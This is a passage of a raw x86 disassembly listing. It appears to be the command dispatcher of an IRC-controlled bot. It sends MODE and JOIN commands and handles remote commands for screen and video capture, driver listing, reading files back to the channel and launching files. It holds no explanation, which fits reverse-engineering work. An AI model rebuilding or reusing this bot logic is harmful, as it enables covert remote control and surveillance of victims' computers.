		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Fh
		push	eax
		call	sub_40B0F6
		add	esp, 1Ch
		mov	[ebp+var_2094],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_2218]
		push	ebx
		push	eax
		push	offset byte_4143CB
		push	ebx
		push	ebx
		call	near ptr 2680000h
		nop
		mov	ecx, [ebp+var_2094]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_40884B

loc_408839:				; CODE XREF: sub_401ACD+6D7Cj
		cmp	[ebp+var_2088],	ebx
		jnz	short loc_408866
		push	32h
		nop
		call	near ptr 2670EA1h
		jmp	short loc_408839
; ---------------------------------------------------------------------------

loc_40884B:				; CODE XREF: sub_401ACD+6D6Aj
		nop
		call	near ptr 2680835h
		push	eax
		push	offset unk_429E28

loc_408857:				; CODE XREF: sub_401ACD+6E89j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 0Ch

loc_408866:				; CODE XREF: sub_401ACD+6D72j
					; sub_401ACD+6E6Dj
		cmp	[ebp+var_8], ebx
		jnz	loc_409630
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	esi
		jmp	loc_409628
; ---------------------------------------------------------------------------

loc_408886:				; CODE XREF: sub_401ACD+4A13j
					; sub_401ACD+4A2Aj
		push	7Fh
		lea	eax, [ebp+var_23A8]
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		push	7Fh
		lea	eax, [ebp+var_2328]
		push	edi
		push	eax
		call	sub_41B5F0
		push	7Fh
		lea	eax, [ebp+var_22A8]
		push	[ebp+var_88]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 24h
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_2224],	eax
		mov	eax, [ebp+var_8]
		push	edi
		push	[ebp+arg_10]
		mov	[ebp+var_2220],	eax
		lea	eax, [ebp+var_2C4]
		mov	[ebp+var_23AC],	esi
		push	offset dword_429DFC
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	11h
		push	eax
		call	sub_40B0F6
		add	esp, 1Ch
		mov	[ebp+var_2228],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_23AC]
		push	ebx
		push	eax
		push	offset byte_413B77
		push	ebx
		push	ebx
		nop
		call	near ptr 2680000h
		mov	ecx, [ebp+var_2228]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_40894A

loc_408934:				; CODE XREF: sub_401ACD+6E7Bj
		cmp	[ebp+var_221C],	ebx
		jnz	loc_408866
		push	32h
		call	near ptr 2670EA1h
		nop
		jmp	short loc_408934
; ---------------------------------------------------------------------------

loc_40894A:				; CODE XREF: sub_401ACD+6E65j
		call	near ptr 2680835h
		nop
		push	eax
		push	offset dword_429DC0
		jmp	loc_408857
; ---------------------------------------------------------------------------

loc_40895B:				; CODE XREF: sub_401ACD+49E5j
					; sub_401ACD+49FCj
		push	edi
		lea	eax, [ebp+var_2C4]
		push	offset dword_429DB8
		push	eax
		call	sub_41B886
		push	[ebp+arg_10]
		call	sub_41B779
		add	esp, 10h

loc_408978:				; CODE XREF: sub_401ACD+6F16j
		test	eax, eax
		jle	loc_409854
		push	[ebp+arg_10]
		call	sub_41B779
		cmp	eax, 400h
		pop	ecx
		jge	loc_409854

loc_408994:				; CODE XREF: sub_401ACD+7A55j
		lea	eax, [ebp+var_2C4]
		push	eax
		push	offset dword_429DB0
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		push	dword_43DEBC[eax]
		call	sub_409A2C
		jmp	loc_404933
; ---------------------------------------------------------------------------

loc_4089BF:				; CODE XREF: sub_401ACD+49B7j
					; sub_401ACD+49CEj
		push	[ebp+esi+var_84]
		lea	eax, [ebp+var_2C4]
		push	edi
		push	offset dword_429DA4
		push	eax
		call	sub_41B886
		push	[ebp+arg_10]
		call	sub_41B779
		add	esp, 14h
		jmp	short loc_408978
; ---------------------------------------------------------------------------

loc_4089E5:				; CODE XREF: sub_401ACD+4989j
					; sub_401ACD+49A0j
		push	edi
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B45C
		push	eax
		call	sub_41B886
		mov	esi, [ebp+arg_10]
		push	esi
		call	sub_41B779
		add	esp, 10h
		test	eax, eax
		jle	loc_409854
		push	esi
		call	sub_41B779
		cmp	eax, 400h
		pop	ecx
		jge	loc_409854
		lea	eax, [ebp+var_2C4]
		push	eax
		push	offset dword_429DB0
		push	esi
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		push	dword_43DEBC[eax]
		call	sub_409A2C
		add	esp, 0Ch
		push	edi
		push	esi
		push	offset dword_429D88

loc_408A4B:				; CODE XREF: sub_401ACD+7009j
					; sub_401ACD+7078j ...
		call	sub_415220
		jmp	loc_404933
; ---------------------------------------------------------------------------

loc_408A55:				; CODE XREF: sub_401ACD+495Bj
					; sub_401ACD+4972j
		cmp	[ebp+var_C], ebx
		jz	loc_409854
		push	edi
		push	[ebp+var_C]
		call	sub_41B900
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	short loc_408A84
		push	esi
		lea	eax, [ebp+var_2C4]
		push	offset dword_429D80
		push	eax
		call	sub_41B886
		add	esp, 0Ch

loc_408A84:				; CODE XREF: sub_401ACD+6FA0j
		mov	edi, [ebp+arg_10]
		push	edi
		call	sub_41B779
		test	eax, eax
		pop	ecx
		jle	loc_409854
		push	edi
		call	sub_41B779
		cmp	eax, 400h
		pop	ecx
		jge	loc_409854
		lea	eax, [ebp+var_2C4]
		push	eax
		push	offset dword_429DB0
		push	edi
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		push	dword_43DEBC[eax]
		call	sub_409A2C
		add	esp, 0Ch
		push	esi
		push	edi
		push	offset dword_429D64
		jmp	loc_408A4B
; ---------------------------------------------------------------------------

loc_408ADB:				; CODE XREF: sub_401ACD+492Dj
					; sub_401ACD+4944j
		cmp	[ebp+var_C], ebx
		jz	loc_409854
		push	edi
		push	[ebp+var_C]
		call	sub_41B900
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_409854
		mov	edi, [ebp+arg_10]
		push	edi
		call	sub_41B779
		test	eax, eax
		pop	ecx
		jle	loc_409854
		push	edi
		call	sub_41B779
		cmp	eax, 400h
		pop	ecx
		jge	loc_409854
		push	esi
		push	offset dword_429DB0
		push	edi
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		push	dword_43DEBC[eax]
		call	sub_409A2C
		add	esp, 0Ch
		push	esi
		push	edi
		push	offset dword_429D48
		jmp	loc_408A4B
; ---------------------------------------------------------------------------

loc_408B4A:				; CODE XREF: sub_401ACD+48FFj
					; sub_401ACD+4916j
		cmp	[ebp+var_C], ebx
		jz	loc_409854
		push	[ebp+arg_10]
		push	[ebp+var_C]
		call	sub_41B900
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_409854
		push	esi
		push	offset aModeS	; "MODE	%s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 0Ch
		push	esi
		push	offset unk_429D20
		jmp	loc_40984D
; ---------------------------------------------------------------------------

loc_408B86:				; CODE XREF: sub_401ACD+48D1j
					; sub_401ACD+48E8j
		push	[ebp+var_8C]
		push	offset dword_42C930
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_401E94
		push	edi
		push	offset dword_429D14
		push	[ebp+arg_4]
		call	sub_409A2C
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 3E8h
		add	esp, 10h
		push	eax
		call	near ptr 2670EA1h
		nop
		push	[ebp+esi+var_84]
		push	edi
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		push	offset dword_429D00
		call	sub_4151AC
		jmp	loc_40351F
; ---------------------------------------------------------------------------

loc_408BEA:				; CODE XREF: sub_401ACD+48A3j
					; sub_401ACD+48BAj
		cmp	[ebp+var_C], ebx
		jz	loc_409854
		push	[ebp+arg_10]
		call	sub_41AFE0
		push	[ebp+arg_8]
		mov	esi, eax
		call	sub_41AFE0
		add	eax, [ebp+var_C]
		push	edi
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_41B900
		mov	esi, eax
		add	esp, 10h
		cmp	esi, ebx
		jz	loc_409854
		push	esi
		lea	eax, [ebp+var_2C4]
		push	offset dword_42A434
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	ebx
		push	eax
		push	[ebp+arg_10]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 20h
		push	esi
		push	[ebp+arg_10]
		push	offset unk_429CE4
		jmp	loc_408A4B
; ---------------------------------------------------------------------------

loc_408C57:				; CODE XREF: sub_401ACD+4875j
					; sub_401ACD+488Cj
		cmp	[ebp+var_C], ebx
		jz	loc_409854
		push	[ebp+arg_10]
		call	sub_41AFE0
		push	[ebp+arg_8]
		mov	esi, eax
		call	sub_41AFE0
		add	eax, [ebp+var_C]
		push	edi
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_41B900
		mov	esi, eax
		add	esp, 10h
		cmp	esi, ebx
		jz	loc_409854
		push	ebx
		push	ebx
		push	esi
		push	[ebp+arg_10]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h
		push	esi
		push	[ebp+arg_10]
		push	offset unk_429CC4
		jmp	loc_408A4B
; ---------------------------------------------------------------------------

loc_408CAC:				; CODE XREF: sub_401ACD+4847j
					; sub_401ACD+485Ej
		cmp	[ebp+var_C], ebx
		jz	loc_401E94
		push	edi
		push	[ebp+var_C]
		call	sub_41B900
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_401E94
		push	eax
		push	[ebp+arg_10]
		call	sub_4150B4
		pop	ecx
		pop	ecx
		push	[ebp+arg_10]
		push	offset unk_429CA4

loc_408CDB:				; CODE XREF: sub_401ACD+5852j
					; sub_401ACD+7B2Aj
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		jmp	loc_40960F
; ---------------------------------------------------------------------------

loc_408CEF:				; CODE XREF: sub_401ACD+4819j
					; sub_401ACD+4830j
		push	edi
		push	[ebp+arg_10]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_4184E1
		jmp	loc_4040FC
; ---------------------------------------------------------------------------

loc_408D09:				; CODE XREF: sub_401ACD+47DBj
					; sub_401ACD+47F0j
		push	[ebp+arg_10]
		push	[ebp+arg_1C]
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409854
		mov	esi, [ebp+esi+var_88]
		cmp	esi, ebx
		jz	loc_408DB1
		push	esi
		push	[ebp+var_C]
		call	sub_41B900
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	short loc_408D99
		push	esi
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_88]
		push	[ebp+var_8C]
		push	[ebp+var_90]
		push	offset dword_429EF8
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	1FFh
		push	eax
		push	[ebp+arg_0]
		call	sub_41B5F0
		add	esp, 24h
		lea	eax, [ebp+var_2C4]
		push	esi
		push	[ebp+arg_10]
		push	offset unk_429C7C
		push	eax
		call	sub_41B886
		add	esp, 10h
		inc	[ebp+arg_24]
		jmp	loc_40877A
; ---------------------------------------------------------------------------

loc_408D99:				; CODE XREF: sub_401ACD+726Fj
		lea	eax, [ebp+var_2C4]
		push	offset unk_429C4C
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		jmp	loc_40877A
; ---------------------------------------------------------------------------

loc_408DB1:				; CODE XREF: sub_401ACD+725Aj
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	[ebp+arg_1C]
		push	eax
		call	sub_41ACF6
		add	esp, 0Ch
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h
		lea	eax, [ebp+var_2C4]
		push	[ebp+arg_10]
		push	offset dword_429C30
		push	200h
		push	eax
		call	sub_41B980
		add	esp, 10h
		jmp	loc_40877A
; ---------------------------------------------------------------------------

loc_408DFD:				; CODE XREF: sub_401ACD+47B1j
					; sub_401ACD+47C6j
		push	offset aScreen	; "screen"
		push	[ebp+arg_10]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_408E58
		mov	edi, [ebp+esi+var_88]
		cmp	edi, ebx
		jz	short loc_408E45
		push	edi
		call	sub_4153BC
		cmp	eax, 1
		pop	ecx
		jnz	short loc_408E3E
		push	edi
		lea	eax, [ebp+var_2C4]
		push	offset unk_429BFC
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		jmp	short loc_408E58
; ---------------------------------------------------------------------------

loc_408E3E:				; CODE XREF: sub_401ACD+7358j
		push	offset unk_429BCC
		jmp	short loc_408E4A
; ---------------------------------------------------------------------------

loc_408E45:				; CODE XREF: sub_401ACD+734Cj
		push	offset unk_429B90

loc_408E4A:				; CODE XREF: sub_401ACD+7376j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx

loc_408E58:				; CODE XREF: sub_401ACD+7341j
					; sub_401ACD+736Fj
		push	offset aDrivers	; "drivers"
		push	[ebp+arg_10]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_408EE5
		xor	edi, edi

loc_408E6D:				; CODE XREF: sub_401ACD+7403j
		lea	eax, [ebp+var_53F8]
		push	1FFh
		push	eax
		lea	eax, [ebp+var_4EF0]
		push	0FFh
		push	eax
		push	edi
		call	dword_4CAFA4
		test	eax, eax
		jz	short loc_408ECC
		lea	eax, [ebp+var_53F8]
		push	eax
		lea	eax, [ebp+var_4EF0]
		push	eax
		push	edi
		lea	eax, [ebp+var_5D88]
		push	offset unk_429B60
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_5D88]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 28h

loc_408ECC:				; CODE XREF: sub_401ACD+73C1j
		inc	edi
		cmp	edi, 0Ah
		jl	short loc_408E6D
		lea	eax, [ebp+var_2C4]
		push	offset unk_429B38
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx

loc_408EE5:				; CODE XREF: sub_401ACD+739Cj
		push	offset aFrame	; "frame"
		push	[ebp+arg_10]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_408F86
		cmp	[ebp+esi+var_88], ebx
		jz	short loc_408F73
		cmp	[ebp+esi+var_84], ebx
		jz	short loc_408F73
		mov	edi, [ebp+esi+var_80]
		cmp	edi, ebx
		jz	short loc_408F73
		mov	eax, [ebp+esi+var_7C]
		cmp	eax, ebx
		jz	short loc_408F73
		push	eax
		call	sub_41B779
		pop	ecx
		push	eax
		push	edi
		call	sub_41B779
		pop	ecx
		push	eax
		push	[ebp+esi+var_84]
		call	sub_41B779
		pop	ecx
		push	eax
		push	[ebp+esi+var_88]
		call	sub_4155F7
		add	esp, 10h
		test	eax, eax
		jnz	short loc_408F6C
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset unk_429B04
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		jmp	short loc_408F86
; ---------------------------------------------------------------------------

loc_408F6C:				; CODE XREF: sub_401ACD+7480j
		push	offset unk_429AD0
		jmp	short loc_408F78
; ---------------------------------------------------------------------------

loc_408F73:				; CODE XREF: sub_401ACD+7436j
					; sub_401ACD+743Fj ...
		push	offset unk_429A98

loc_408F78:				; CODE XREF: sub_401ACD+74A4j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx

loc_408F86:				; CODE XREF: sub_401ACD+7429j
					; sub_401ACD+749Dj
		push	offset aVideo	; "video"
		push	[ebp+arg_10]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_408759
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		mov	[ebp+arg_1C], eax
		jz	short loc_40901E
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		mov	[ebp+arg_0], eax
		jz	short loc_40901E
		mov	eax, [ebp+esi+var_80]
		cmp	eax, ebx
		mov	[ebp+arg_18], eax
		jz	short loc_40901E
		mov	edi, [ebp+esi+var_7C]
		cmp	edi, ebx
		jz	short loc_40901E
		mov	esi, [ebp+esi+var_78]
		cmp	esi, ebx
		jz	short loc_40901E
		push	esi
		call	sub_41B779
		pop	ecx
		push	eax
		push	edi
		call	sub_41B779
		pop	ecx
		push	eax
		push	[ebp+arg_18]
		call	sub_41B779
		pop	ecx
		push	eax
		push	[ebp+arg_0]
		call	sub_41B779
		pop	ecx
		push	eax
		push	[ebp+arg_1C]
		call	sub_4157F0
		add	esp, 14h
		test	eax, eax
		jnz	short loc_409014
		push	[ebp+arg_1C]
		push	offset unk_429A64
		jmp	loc_40874A
; ---------------------------------------------------------------------------

loc_409014:				; CODE XREF: sub_401ACD+7538j
		push	offset unk_429A24
		jmp	loc_4090E2
; ---------------------------------------------------------------------------

loc_40901E:				; CODE XREF: sub_401ACD+74DCj
					; sub_401ACD+74EAj ...
		push	offset unk_4299E4
		jmp	loc_4090E2
; ---------------------------------------------------------------------------

loc_409028:				; CODE XREF: sub_401ACD+4041j
					; sub_401ACD+4056j
		push	offset aR	; "r"
		push	[ebp+arg_10]
		call	sub_41B4C2
		mov	edi, eax
		pop	ecx
		cmp	edi, ebx
		pop	ecx
		jz	short loc_409098
		mov	esi, 200h
		push	edi
		lea	eax, [ebp+var_2C4]
		push	esi
		push	eax
		call	sub_41BB4F
		add	esp, 0Ch

loc_409053:				; CODE XREF: sub_401ACD+75B5j
		test	eax, eax
		jz	short loc_409084
		push	1
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		push	edi
		lea	eax, [ebp+var_2C4]
		push	esi
		push	eax
		call	sub_41BB4F
		add	esp, 20h
		jmp	short loc_409053
; ---------------------------------------------------------------------------

loc_409084:				; CODE XREF: sub_401ACD+7588j
		push	edi
		call	sub_41B05B
		pop	ecx
		push	[ebp+arg_10]
		push	offset unk_4299C0
		jmp	loc_409226
; ---------------------------------------------------------------------------

loc_409098:				; CODE XREF: sub_401ACD+756Ej
		push	[ebp+arg_10]
		push	offset unk_42999C
		jmp	loc_406CCF
; ---------------------------------------------------------------------------

loc_4090A5:				; CODE XREF: sub_401ACD+4017j
					; sub_401ACD+402Cj
		cmp	[ebp+var_C], ebx
		jz	loc_409854
		push	[ebp+arg_10]
		push	[ebp+var_C]
		call	sub_41B900
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_409854
		push	offset asc_429998 ; "\n"
		push	esi
		call	sub_41BEC0
		push	esi
		call	sub_419A50
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_4090F5
		push	offset unk_42996C

loc_4090E2:				; CODE XREF: sub_401ACD+754Cj
					; sub_401ACD+7556j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		jmp	loc_408759
; ---------------------------------------------------------------------------

loc_4090F5:				; CODE XREF: sub_401ACD+760Ej
		push	esi
		lea	eax, [ebp+var_2C4]
		push	offset dword_429954
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		jmp	loc_40877A
; ---------------------------------------------------------------------------

loc_40910F:				; CODE XREF: sub_401ACD+3FEDj
					; sub_401ACD+4002j
		cmp	[ebp+var_C], ebx
		jz	loc_409854
		push	[ebp+arg_10]
		push	[ebp+var_C]
		call	sub_41B900
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_409854
		push	eax
		call	sub_418211
		test	eax, eax
		pop	ecx
		jnz	short loc_40913F
		push	offset unk_429934
		jmp	short loc_4090E2
; ---------------------------------------------------------------------------

loc_40913F:				; CODE XREF: sub_401ACD+7669j
		push	offset dword_429918
		jmp	short loc_4090E2
; ---------------------------------------------------------------------------

loc_409146:				; CODE XREF: sub_401ACD+3FC3j
					; sub_401ACD+3FD8j
		push	7Fh
		lea	eax, [ebp+var_2080]
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		mov	esi, [ebp+esi+var_88]
		add	esp, 0Ch
		cmp	esi, ebx
		jz	short loc_409177
		push	7Fh
		lea	eax, [ebp+var_2000]
		push	esi
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch

loc_409177:				; CODE XREF: sub_401ACD+7696j
		push	7Fh
		lea	eax, [ebp+var_1F80]
		push	[ebp+var_88]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_2084],	eax
		mov	eax, [ebp+var_8]
		push	[ebp+arg_10]
		mov	[ebp+var_1EFC],	eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_1EF8],	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_429900
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	1Ch
		push	eax
		call	sub_40B0F6
		add	esp, 18h
		mov	[ebp+var_1F00],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_2084]
		push	ebx
		push	eax
		push	offset sub_41ADB5
		push	ebx
		push	ebx
		nop
		call	near ptr 2680000h
		mov	ecx, [ebp+var_1F00]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_40921A

loc_409204:				; CODE XREF: sub_401ACD+774Bj
		cmp	[ebp+var_1EF4],	ebx
		jnz	loc_406CFF
		push	32h
		nop
		call	near ptr 2670EA1h
		jmp	short loc_409204
; ---------------------------------------------------------------------------

loc_40921A:				; CODE XREF: sub_401ACD+7735j
		call	near ptr 2680835h
		nop
		push	eax
		push	offset unk_4298C0

loc_409226:				; CODE XREF: sub_401ACD+29CEj
					; sub_401ACD+75C6j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		jmp	loc_406CFF
; ---------------------------------------------------------------------------

loc_40923A:				; CODE XREF: sub_401ACD+3F99j
					; sub_401ACD+3FAEj
		push	ebx
		push	[ebp+var_88]
		push	[ebp+arg_4]
		push	[ebp+arg_10]
		call	sub_40F96A
		add	esp, 10h
		push	[ebp+arg_10]
		push	offset dword_4298A8
		jmp	loc_40984D
; ---------------------------------------------------------------------------

loc_40925C:				; CODE XREF: sub_401ACD+3F6Fj
					; sub_401ACD+3F84j
		push	14h
		lea	eax, [ebp+var_1D48]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_1D34]
		push	[ebp+arg_10]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_41B886
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_1D50],	eax
		lea	eax, [ebp+var_C4]
		push	eax
		lea	eax, [ebp+var_1C30]
		push	80h
		push	eax
		call	sub_41B980
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_1BA8],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_1BA4],	eax
		lea	eax, [ebp+var_1C30]
		push	eax
		lea	eax, [ebp+var_1D34]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_429884
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	1Ah
		push	eax
		call	sub_40B0F6
		add	esp, 1Ch
		mov	[ebp+var_1BAC],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1D50]
		push	ebx
		push	eax
		push	offset loc_415E1A
		push	ebx
		push	ebx
		nop
		call	near ptr 2680000h
		mov	ecx, [ebp+var_1BAC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	loc_4023E6

loc_409325:				; CODE XREF: sub_401ACD+786Cj
		cmp	[ebp+var_1BA0],	ebx
		jnz	loc_4083BC
		push	32h
		nop
		call	near ptr 2670EA1h
		jmp	short loc_409325
; ---------------------------------------------------------------------------

loc_40933B:				; CODE XREF: sub_401ACD+3F45j
					; sub_401ACD+3F5Aj
		push	[ebp+arg_10]
		nop
		call	near ptr 2680184h
		test	eax, eax
		jz	short loc_409366
		push	[ebp+arg_10]
		lea	eax, [ebp+var_2C4]
		push	offset dword_429868
		push	200h
		push	eax
		call	sub_41B980
		jmp	loc_409444
; ---------------------------------------------------------------------------

loc_409366:				; CODE XREF: sub_401ACD+7879j
		push	offset dword_42A070
		call	sub_41814C
		pop	ecx
		push	eax
		jmp	loc_403F47
; ---------------------------------------------------------------------------

loc_409377:				; CODE XREF: sub_401ACD+3F1Bj
					; sub_401ACD+3F30j
		push	[ebp+arg_10]
		call	sub_41B779
		push	eax
		call	sub_4199C9
		pop	ecx
		pop	ecx
		push	1
		pop	esi
		push	[ebp+arg_10]
		cmp	eax, esi
		jnz	short loc_409398
		push	offset unk_429844
		jmp	short loc_40939D
; ---------------------------------------------------------------------------

loc_409398:				; CODE XREF: sub_401ACD+78C2j
		push	offset unk_429814

loc_40939D:				; CODE XREF: sub_401ACD+78C9j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	loc_406D02
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h
		jmp	loc_406D02
; ---------------------------------------------------------------------------

loc_4093D6:				; CODE XREF: sub_401ACD+3EF1j
					; sub_401ACD+3F06j
		push	ebx
		push	ebx
		push	[ebp+arg_10]
		push	[ebp+var_4]
		push	ebx
		push	[ebp+arg_4]
		call	sub_4196BC
		add	esp, 18h
		cmp	eax, 1
		push	[ebp+arg_10]
		jnz	short loc_4093FC
		push	offset unk_4297F4
		jmp	loc_406CCF
; ---------------------------------------------------------------------------

loc_4093FC:				; CODE XREF: sub_401ACD+7923j
		push	offset unk_4297C4
		jmp	loc_406CCF
; ---------------------------------------------------------------------------

loc_409406:				; CODE XREF: sub_401ACD+3EC7j
					; sub_401ACD+3EDCj
		mov	esi, [ebp+arg_10]
		push	esi
		call	dword_4CAFB4
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_2D8], eax
		jz	short loc_40944C
		push	2
		lea	eax, [ebp+var_2D8]
		push	4
		push	eax
		call	dword_4CAF2C
		cmp	eax, ebx
		jz	short loc_409467
		push	dword ptr [eax]

loc_409432:				; CODE XREF: sub_401ACD+7998j
		push	esi
		lea	eax, [ebp+var_2C4]
		push	offset unk_4297A4
		push	eax
		call	sub_41B886

loc_409444:				; CODE XREF: sub_401ACD+7894j
		add	esp, 10h
		jmp	loc_406CDE
; ---------------------------------------------------------------------------

loc_40944C:				; CODE XREF: sub_401ACD+794Cj
		push	esi
		call	dword_4CAFF8
		cmp	eax, ebx
		jz	short loc_409467
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		push	dword ptr [eax]
		call	dword_4CB000
		push	eax
		jmp	short loc_409432
; ---------------------------------------------------------------------------

loc_409467:				; CODE XREF: sub_401ACD+7961j
					; sub_401ACD+7988j
		push	offset unk_42977C
		jmp	loc_4085D5
; ---------------------------------------------------------------------------

loc_409471:				; CODE XREF: sub_401ACD+3E9Dj
					; sub_401ACD+3EB2j
		push	7Fh
		push	[ebp+arg_10]
		push	[ebp+arg_14]
		call	sub_41B5F0
		add	esp, 0Ch
		push	[ebp+arg_10]
		push	offset unk_429754
		jmp	loc_4049EB
; ---------------------------------------------------------------------------

loc_40948E:				; CODE XREF: sub_401ACD+3E73j
					; sub_401ACD+3E88j
		push	5
		push	ebx
		push	ebx
		push	[ebp+arg_10]
		push	offset aOpen	; "open"
		push	ebx
		call	dword_4CAEE0
		push	[ebp+arg_10]
		test	eax, eax
		jz	short loc_4094B2
		push	offset unk_429734
		jmp	loc_406CCF
; ---------------------------------------------------------------------------

loc_4094B2:				; CODE XREF: sub_401ACD+79D9j
		push	offset unk_429710
		jmp	loc_406CCF
; ---------------------------------------------------------------------------

loc_4094BC:				; CODE XREF: sub_401ACD+3E49j
					; sub_401ACD+3E5Ej
		mov	eax, [ebp+arg_10]
		mov	cl, [eax]
		mov	byte_429094, cl
		movsx	eax, byte ptr [eax]
		push	eax
		push	offset unk_4296E8
		jmp	loc_4049EB
; ---------------------------------------------------------------------------

loc_4094D5:				; CODE XREF: sub_401ACD+3E1Fj
					; sub_401ACD+3E34j
		push	[ebp+arg_10]
		call	sub_41B779
		test	eax, eax
		pop	ecx
		jle	loc_409854
		push	[ebp+arg_10]
		call	sub_41B779
		cmp	eax, 400h
		pop	ecx
		jge	loc_409854
		push	ebx
		push	ebx
		lea	eax, [ebp+var_A0]
		push	2
		push	eax
		call	sub_40B08D
		add	esp, 10h
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B45C
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		jmp	loc_408994
; ---------------------------------------------------------------------------

loc_409527:				; CODE XREF: sub_401ACD+3DF5j
					; sub_401ACD+3E0Aj
		mov	esi, [ebp+arg_10]
		push	esi
		call	sub_41B779
		test	eax, eax
		pop	ecx
		jle	loc_401E94
		push	esi
		call	sub_41B779
